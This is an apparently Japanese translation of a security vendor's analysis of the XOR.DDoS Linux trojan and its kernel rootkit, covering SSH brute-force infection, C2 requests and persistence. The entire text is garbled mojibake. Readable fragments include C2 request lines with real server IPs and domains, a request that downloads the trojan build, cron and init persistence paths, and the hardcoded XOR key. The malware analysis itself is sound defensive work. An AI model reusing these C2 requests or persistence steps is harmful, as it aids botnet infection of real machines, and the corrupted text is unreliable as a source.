Habrahabrèªè
ã®æ³šæãåèµ·ããã®ãããŠã€ã«ã¹å¯ŸçäŒç€ŸAvastã®ããã°ããã®èšäºãLinux DDoS Trojanãåã蟌ãŸããã«ãŒããããã§é ããŠãããã®ç¿»èš³ã§ããMalwareMustDieïŒGroupã«ãããšã2014幎9ææ«ã«Linux OSã«æ°ããªè
åšãåºçŸããŸããã
XOR.DDOSãšåŒã°ãããã®ååã瀺ããšãããDDoSæ»æã®ããããããã圢æããŸãã æçš¿ã§ã¯ãSSHæ¥ç¶ãä»ããåæ䟵å
¥ãLinuxå®è¡å¯èœãã¡ã€ã«ã®éçããããã£ãããã³äœ¿çšãããæå·åæ¹æ³ã«ã€ããŠèšåããŸããã ãã®åŸãã€ã³ã¹ããŒã«ããã»ã¹ã«ãããè¿œå ã³ã³ããŒãã³ãã§ããã«ãŒãããããåäœããããã«ã被害è
ã®Linuxç°å¢ãèšå®ãããããšãããããŸããã
ã€ã³ã¹ããŒã«ã¹ã¯ãªãããšææãã¯ã¿ãŒ
ææã¯ãrootãã°ã€ã³ã䜿çšããŠSSHããã«ãŒããã©ãŒã¹ããè©Šã¿ããå§ãŸããŸãã æåãããšãæ»æè
ã¯äŸµå
¥å
ã®ãã·ã³ã«ã¢ã¯ã»ã¹ããéåžžã¯ã·ã§ã«ã¹ã¯ãªããã䜿çšããŠããã€ã®æšéŠ¬ãã€ã³ã¹ããŒã«ããŸãã ã¹ã¯ãªããã«ã¯ã
mainãcheckãcompilerãuncompressãsetupãgenerateãuploadãcheckbuildãªã©ã®æé ãå«ãŸããŠããŸãã ããã³å€æ°
__host_32 __ã__ host_64 __ã__ kernel __ã__ remote__ãªã©ã
ã¡ã€ã³ããã·ãŒãžã£ã¯ãã·ã¹ãã ã¢ãŒããã¯ãã£ã«åºã¥ããŠCïŒCãµãŒããŒã埩å·åããŠéžæããŸãã
以äžã®ãªã¯ãšã¹ãã§ã¯ãiidãã©ã¡ãŒã¿ã¯ã«ãŒãã«ããŒãžã§ã³ã«ä»£ãã£ãŠMD5ããã·ã¥ã§ãã æåã«ãã¹ã¯ãªããã¯ãlsmodã³ãã³ãã䜿çšããŠãçŸåšã®ã·ã¹ãã ã§å®è¡ãããŠãããã¹ãŠã®ã¢ãžã¥ãŒã«ããªã¹ãããŸãã ãããã圌ã¯æåŸã®ãã®ãåãã圌ã®ååãš
vermagicãã©ã¡ãŒã¿ãæœåºããŸãã ç§ãã¡ã®ã±ãŒã¹ã®1ã€ã§ã¯ããã¹ãç°å¢ã¯ã3.8.0-19-generic \ SMP \ mod_unload \ modversions \ 686 \ãã®äžã§å®è¡ãããCE74BF62ACFE944B2167248DD0674977ã«çããMD5ããã·ã¥ããããŸãã
3ã€ã®GETèŠæ±ãCïŒCã«éä¿¡ãããŸãã
ãã§ãã¯æé ãæåã«å®è¡ãããŸãã
ãªã¯ãšã¹ãïŒ
GET /check?iid=CE74BF62ACFE944B2167248DD0674977&kernel=3.8.0replyïŒ
1001 | CE74BF62ACFE944B2167248DD0674977 |ããããŒãã£ã¬ã¯ããªãååšããŸãïŒ
次ã«ã
ã³ã³ãã€ã©ããã·ãŒãžã£ã¯å¥ã®GETèŠæ±ãéä¿¡ããŸãããã®èŠæ±ã§ã¯ãCïŒCãµãŒããŒãããŒãžã§ã³æ
å ±ãªã©ã®ãã©ã¡ãŒã¿ãŒã䜿çšãããŸãã ãµãŒããŒã«è»¢éãããããã§æ°ããäœæãããå®è¡å¯èœãã¡ã€ã«ã«åéãããŸãã
ãªã¯ãšã¹ãïŒ
GET /ã³ã³ãã€ã©ãŒïŒIid = CE74BF62ACFE944B2167248DD0674977ïŒãŠãŒã¶ãŒå= admin
ïŒãã¹ã¯ãŒã= adminïŒip = 103.25.9.245ïŒ8005ïŒ
7C103.240.141.50ïŒ8005ïŒ
7C
66.102.253.30:8005%7Cndns.dsaj2a1.org:8005%7Cndns.dsaj2a.org:8005%7C
ndns.hcxiaoao.com:8005%7Cndns.dsaj2a.com:8005
ïŒver = 3.8.0-19-genericïŒ
5CïŒ
20SMPïŒ
5CïŒ
20mod_unloadïŒ
5CïŒ
20modversionsïŒ
5CïŒ
20686ïŒ
5CïŒ
20
ïŒã«ãŒãã«= 3.8.0
è¿ä¿¡ïŒ
1001 | CE74BF62ACFE944B2167248DD0674977 |ããããŒãã£ã¬ã¯ããªãååšããŸãïŒ
æåŸã«ã3çªç®ã®GETãªã¯ãšã¹ãã¯ãgzipã¢ãŒã«ã€ãã«ããã¯ãããããã€ã®æšéŠ¬å®è¡å¯èœãã¡ã€ã«ã®é©å¿ããŒãžã§ã³ãããŒãããŸãã
ãªã¯ãšã¹ãïŒ
GET /upload/module/CE74BF62ACFE944B2167248DD0674977/build.tgz
è¿ä¿¡ïŒ
1001 | CE74BF62ACFE944B2167248DD0674977 |äœæOK
åã®æé ã¯ããµãŒããŒäžã«ã«ãŒãã«ã®çŸåšã®ããŒãžã§ã³çšã®ã³ã³ãã€ã«æžã¿ããŒãžã§ã³ãæ¢ã«ååšããå Žåã«ã®ã¿å®è¡ãããŸãã ããã§ãªãå Žåãã¹ã¯ãªããã¯ãã£ã¬ã¯ããª/ lib / modules /ïŒ
s / build /ã§ã«ãŒãã«ããããŒãã¡ã€ã«ãèŠã€ããŸããããã§ãïŒ
sã¯
uname -rã³ãã³ãã®å®è¡åŸã®æ»ãå€ãæå³ãããã¹ãŠã®ãã¡ã€ã«ãå§çž®ããåŒã³åºãããç¹å¥ãªããŒããŒã䜿çšããŠCïŒCãµãŒããŒã«ã¢ããããŒãããŸã
ãã ãããæåã®ã·ããªãªã§ãã
ã«ãŒããããã³ã³ããŒãã³ãã¯ãããŒãå¯èœãªã«ãŒãã«ã¢ãžã¥ãŒã«ïŒLKMïŒã§ãã ããããã·ã¹ãã ã«æ£åžžã«ã€ã³ã¹ããŒã«ããã«ã¯ã
vermagic LKMå€ããŠãŒã¶ãŒã·ã¹ãã ã«ã€ã³ã¹ããŒã«ãããŠããã«ãŒãã«ããããŒãã¡ã€ã«ã®ããŒãžã§ã³ãšäžèŽããŠãã
å¿
èŠã
ãããŸãã ãããã以åã®ãã¹ãŠã®ã€ã³ã¹ããŒã«æé ã®ãã€ã³ãã§ãã åã®ã·ãŒã±ã³ã¹ã倱æããå Žåãã¹ã¯ãªããã¯ã«ãŒããããã³ã³ããŒãã³ããªãã§ããã€ã®æšéŠ¬ãã€ã³ã¹ããŒã«ããŸãã
æ§é ãšæŽ»å
ã¡ã€ã³ã®å®è¡å¯èœãã¡ã€ã«ã®ãã€ããªæ§é ã¯æ¬¡ã®ãšããã§ãã
ããã€ã®æšéŠ¬ã®åç¶å¯èœæ§ã¯ãããã€ãã®æ¹æ³ã§å®çŸãããŸãã ãŸãã10æåã®ã©ã³ãã ãªæååãå«ãååã§
/ boot /ãã£ã¬ã¯ããªã«ã€ã³ã¹ããŒã«ãã
ãŸã ã 次ã«ãåãååã®ã¹ã¯ãªããã/etc/init.d/ãã£ã¬ã¯ããªãŒã«äœæãããŸãã / etc / rcïŒ
ud / S90ïŒ
sã§äœæãããã¹ã¯ãªãããæã5ã€ã®ã·ã³ããªãã¯ãªã³ã¯ãšãšãã«ãïŒ
uã¯1ã5ã®åæã§ãïŒ
sã¯ã©ã³ãã ãªããã€ã®æšéŠ¬ãã¡ã€ã«åã«çœ®ãæããããŸãã ããã«ãã¹ã¯ãªããã¯ãã¡ã€ã«/etc/cron.hourly/cron.shã次ã®å
容ã§è¿œå ããŸãã
æååã
* / 3 * * * * root /etc/cron.hourly/cron.sh ããcrontabã«è¿œå ãããŸãã
ã¡ã€ã³ã®å®è¡å¯èœãã¡ã€ã«ã®æ©èœã¯ã次ã®3ã€ã®ç¡éã«ãŒãã§æ§æãããŠããŸãã
- ãããæ§æãã¡ã€ã«ã®æ瀺ãããŠã³ããŒãããŠå®è¡ããŸãã
- / lib / udev / udevãšããŠèªåèªèº«ãåã€ã³ã¹ããŒã«ããŸãã
- ãã©ããã³ãã³ãã®å®è¡ã
æ§æãã¡ã€ã«ã«ã¯
ãmd5ãdenyipãfilenameãrmfileã® 4ã€ã®ã«ããŽãªã®ãªã¹ããå«ãŸããŠããŸãã ããã¯ãCRCãã§ãã¯ãµã ããªã¹ãããã®IPãžã®ã¢ã¯ãã£ããªæ¥ç¶ããã¡ã€ã«åã«ããå®è¡äžã®ããã»ã¹ã®åŒ·å¶çµäºãæããŸãã
æåŸã«ç¹å®ã®ååã®ãã¡ã€ã«ãåé€ããŸãã 次ã®å³ã¯ãæ§æãã¡ã€ã«ã®æçã瀺ããŠããŸãïŒå¯Ÿå¿ããããã€ã®æšéŠ¬ãæã€æ¢ç¥ã®ãã¡ã€ã«åã匷調衚瀺ãããŠããŸãïŒã
ã€ã³ã¹ããŒã«ããåã«ããã»ã¹ã匷å¶çµäºããããããã»ã¹ãªã¹ããåé€ããããšã¯ãããã€ã®æšéŠ¬ã®å
žåã§ãã
ããã«ãARMã¢ãŒããã¯ãã£çšã«ã³ã³ãã€ã«ããããã®ããã€ã®æšéŠ¬ã«ã¯å€æŽãå ããããŠããããšã«æ³šæããŠãã ããã ããã¯ãææããå¯èœæ§ã®ããã·ã¹ãã ã®ãªã¹ãïŒ32ãããããã³64ãããLinux WebãµãŒããŒãšãã¹ã¯ãããPCãé€ãïŒãã«ãŒã¿ãŒãIoTãNASã¹ãã¬ãŒãžããŸãã¯32ãããARMãµãŒããŒã«æ¡å€§ããŠããããšã瀺åããŠããŸãïŒãã ããããã¯èªç¶çã§ã¯èŠ³å¯ãããŠããŸãããïŒ ïŒ
daemondownãšåŒã°ããç¡éã«ãŒãå
ã®load-and-executeé¢æ°ã®è¿œå ã®å®è£
ãå«ãŸããŠããŸãã
æ°æ¥åããã®ããã€ã®æšéŠ¬ã®æ°ãã32ãããããŒãžã§ã³ãããã€ãã®å€æŽãå ããŠèŠ³å¯ãããŸããã ãããã¯
/lib/libgcc4.soãã¡ã€ã«ããã³
/var/run/udev.pidã®èå¥è¡ãå«ãäžæã®ãã¡ã€ã«ãšããŠã€ã³ã¹ããŒã«ãããŸããåæåã¹ã¯ãªããã¯
/etc/cron.hourly/udev.shã«ãããã«ãŒããããæ©èœã¯å®å
šã«çç¥ãããŸããã ããããã¹ãŠã®ãã¡ã€ã«ã®ååšã¯ã䟵害ã®ææšãšããŠåœ¹ç«ã¡ãŸãã
LKMã«ãŒãããã
Windowsãã©ãããã©ãŒã çšã®ããã€ã®æšéŠ¬ã¯ãéåžžã«é·ãéããŸããŸãªã«ãŒããããæ©èœã䜿çšããŠããŸããã äžéšã®ããã€ã®æšéŠ¬ã«ã¯ãWindowsããŒãžã§ã³ã®Agonyã«ãŒããããããããŸãïŒAgonyã«ãŒãããã-ãã®ãœãŒã¹ã³ãŒãã¯2006幎ã«å
¬éãããŸããïŒã Botconf 2014ã§ã
Chinese ChickenïŒMulti-platform-DDoS-botnetãšããã¬ãã¥ãŒã§ããã®æªæã®ããDDoSããŒã«ã«é¢é£ããç 究ã玹ä»ããŸããã çŸåšãLinuxçšã®ãã©ããããã€ã®æšéŠ¬ããããããã«ã¯çµã¿èŸŒã¿ã®ã«ãŒãããããå«ãŸããŠããŸãã ããã¯ãããã€ã®æšéŠ¬ã®æŽ»åã®ããŸããŸãªåŽé¢ãé ãã次ã®æé ã確ä¿ããããã®äž»èŠãªæ©èœã§ãã
ãã®ããã€ã®æšéŠ¬ã¯ãŠãŒã¶ãŒç©ºéã§åäœããç¹å®ã®ã³ãŒãïŒ0Ã9748712ïŒã§I / Oã³ãã³ãã䜿çšããŠã«ãŒãã«ã®ã«ãŒãããããããããã®æ©èœãèŠæ±ããŸãã ã«ãŒããããã®ååšã¯ã
rs_devãšåŒã°ããããã»ã¹ãéãããšã«ãã£ãŠæåã«ãã§ãã¯ãããŸãã
å®éã«ã¯ããªã¯ãšã¹ãã«ã¯2ã€ã®ãã©ã¡ãŒã¿ãŒãå¿
èŠã§ãã1ã€ã¯ã«ãŒãããããå®è¡ããã³ãã³ãã®çªå·ã瀺ãããã1ã€ã¯é衚瀺ã«ããããŒãçªå·ã§ãã 以äžã¯ãããã€ã®æšéŠ¬ãTCPããŒããé ãæ¹æ³ã®äŸã§ãïŒã¿ã¹ã¯3ã«æ³šæããŠãã ããïŒã
æé ã®ååã«åºã¥ããŠããã«ãŠã§ã¢ã®äœæè
ã¯ãã«ãŒãããããæ§ç¯ããããã®
ã¹ãã«ã¹ãšåŒã°ãããªãŒãã³ãœãŒã¹ãããžã§ã¯ãã«è§Šçºãããå¯èœæ§ããããŸãã æšå¹Žä»¥æ¥ããã®ããã€ã®æšéŠ¬ã¯
ãæ³¥æ£ã®æããšåŒã°ããLinuxãã¹ã¯ãããåãã®æåã®éè¡ããã€ã®æšéŠ¬ã«ãªããšããéæã«å€±æããŸããã 圌ã¯ãŸããæ¢åã®ãªãŒãã³ãœãŒã¹ãããžã§ã¯ãããã³ãŒãã®äžéšãããªãã¡ããã»ã¹å°å
¥æ¹æ³ãåããŸããã ãããžã§ã¯ãã®èª¬æã«ã¯ããx86ïŒ_64ïŒããã³ARMäžã®Linux 2.6 / 3.xã®LKMã«ãŒãããããããããŸãã
ã¹ãã«ã¹ã«
é¢é£ããå¥ã®èšäºã2013幎1æã«å
¬éãããŸããã
CïŒCã³ãã¥ãã±ãŒã·ã§ã³
ããŒã¿ã¯ãæ§æãã¡ã€ã«ãšåãããŒãã³ãŒãã£ã³ã°ãããXORããŒïŒBB2FA36AAA9541F0ïŒã䜿çšããŠãæå·åããã圢åŒã§åæ¹åã«éä¿¡ãããŸãã äžæã®32ãã€ãã®ããžãã¯ã¹ããªã³ã°ãå«ãè¿œå ãã¡ã€ã«/var/run/sftp.pidãä¿åãããã¡ãã»ãŒãžå
ã®è¢«å®³è
ã®ãã·ã³ã®äžæã®èå¥åãšããŠäœ¿çšãããŸãã ãããããªãã¹ã³ããCïŒCã³ãã³ãã®ãªã¹ãããããŸãïŒãã©ããã®éå§ããã©ããã®åæ¢ãããŠã³ããŒããšå®è¡ãèªå·±æŽæ°ãã¡ã¢ãªã®MD5ããã·ã¥ã®éä¿¡ã匷å¶çµäºããããã»ã¹ã®ãªã¹ãã®ååŸïŒ
CïŒCãµãŒããŒã®ãªã¹ãã¯ã
__ remote__å€æ°ã®ã·ã§ã«ã¹ã¯ãªããã«ä¿åãããŸãã ãã®ããã€ã®æšéŠ¬ã¯ãæåã«å®è¡äžã®ã·ã¹ãã ã«é¢ããæ
å ±ãCïŒCãµãŒããŒã«éä¿¡ããŸãïŒãããããããããããã®æäœããã«ã«è¡šç€ºãããŸãïŒã éåžžãåçã¯ã³ãã³ãã®åœ¢åŒã§æäŸãããŸãã ã³ãã³ãããããŒã¯0x1Cãã€ãé·ã§ã
HeaderãšåŒã°ããæ§é ã«æ ŒçŽãããŸãã æåã®ã³ãã³ãã¯ããã©ããæ»æããã¹ãŠåæ¢ãããªã¹ãã«è¡šç€ºãããŠãããã¹ãã®ããããã§æ¬¡ã®ã³ãã³ããéå§ããŸãã ããããŒãšã³ããªã以äžã«ç€ºããŸãã éžæããããµã€ãºãã©ã¡ãŒã¿ãŒã¯ãåèšã³ãã³ããµã€ãºïŒ
Size ã0x102CïŒãã¿ã¹ã¯ã®æ°ïŒ
Order ã0Ã3ãã€ãŸãã¹ã€ããããŒãã«ã®
_cmd_start ïŒãããã³ãã©ããã£ã³ã°ã¿ã¹ã¯ã®æ°ïŒ
Task_Num ã0xfïŒã§ãã
floodã³ãã³ãã®æ®ãã®éšåã«ã¯ãæ»æã¿ã¹ã¯ãå«ãæå·åãããæ§é ãå«ãŸããŠããŸãã 埩å·ååŸãããã€ã®æšéŠ¬ããã®ä»ã®DDoSæ»æã®ãã©ã¡ãŒã¿ãŒã«ãã£ãŠå®è¡ãããIPã¢ãã¬ã¹ïŒèµ€è²ïŒãšããŒãïŒç·è²ïŒã確èªã§ããŸãïŒããšãã°ãç°è²ã¯æ»æã®çš®é¡ã決å®ããŸãïŒSYN / DNSïŒã